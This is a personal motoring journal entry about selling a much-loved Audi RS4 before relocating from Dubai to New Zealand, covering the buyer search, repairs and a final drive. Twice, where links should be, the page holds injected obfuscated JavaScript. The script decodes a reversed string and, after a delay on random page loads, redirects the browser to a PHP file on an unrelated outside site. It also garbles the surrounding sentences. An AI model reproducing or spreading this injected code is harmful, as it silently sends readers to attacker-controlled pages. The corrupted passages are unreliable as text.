Audi RS4. Farewell. Journals

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“Khalas”, as they say. After close to three special years, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/journals/audi-rs4-window-shopping-journals/”>the RS4’s torch (key) has been passed to a new custodian who has agreed to look after her for the foreseeable. No, I have not grown tired of the car. We have pulled the curtains on our stint in Dubai and will shortly be relocating to New Zealand.

I have been dreading this article. It was always going to be hard summing up my overall experience with one short column. It also marks the end of a dreamy affair with an incredible car that provided me with wonderful power delivery (I’ll never forget the 6,000rpm ‘second wind’), a gorgeous V8 soundtrack and ensured that the family would be securely transported around Dubai in style and, when required, at speed.

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More difficult than scribing this last hurrah was finding a buyer who would appreciate and tend to the RS4’s needs as I had, so a plea for a new care-giver was posted in Automart. Unlike the advert for Karina’s 2012 GTI, the phone did not ring off the hook. I imagine to the untrained eye, the price tag included one too many zeroes for what may have seemed like a slightly more round looking A4 with after market mags. After swatting off calls from tyre kickers and low ballers, I received an email from a gentlemen who was soon to depart New Zealand for the Emirates. It was a sign from the heavens. Following twenty-one emails later and a series of face-to-face interviews, I am pleased to report that the car has been sold to a fellow Kiwi and RS4 enthusiast. He even hails from my home-town, Christchurch. A worthy candidate.

In the weeks leading up to the final handshake and handover, a number of expenses were incurred in order to present what I really do believe is the cleanest example of a B7 RS4 in the UAE, and possibly the entire Middle East. New tyres were in order (Dunlop Super Max TTs). A wheel alignment revealed that the rear shocks were on their last legs, which explained a rattling noise and a reluctance to travel over speed bumps at anything more than a sideways crawl – both replaced. A front shock was leaking fluid – tube replaced. The plastic protection cover beneath the engine was cracked to bits, which I chalked up to five summers in the GCC – new cover installed. Finally, all four wheels were restored to new and re-painted.

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Without exaggeration, as I drove the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/audi/”>Audi to Tasjeel for the dotting of I’s and crossing of T’s, the car felt more smooth, powerful and exciting that I can remember. In a gap between speed cameras, I thumbed the S button and floored it in 3^rd and 4^th gear one last time.

In a previous article I mentioned that the RS4 has got under my skin. I guess I won’t really know just how far until we return back to New Zealand and petrol prices force me back into a 2.0 litre engine. Still, Audi seem to have done something clever with the new S3 sedan. One door closes, another opens…

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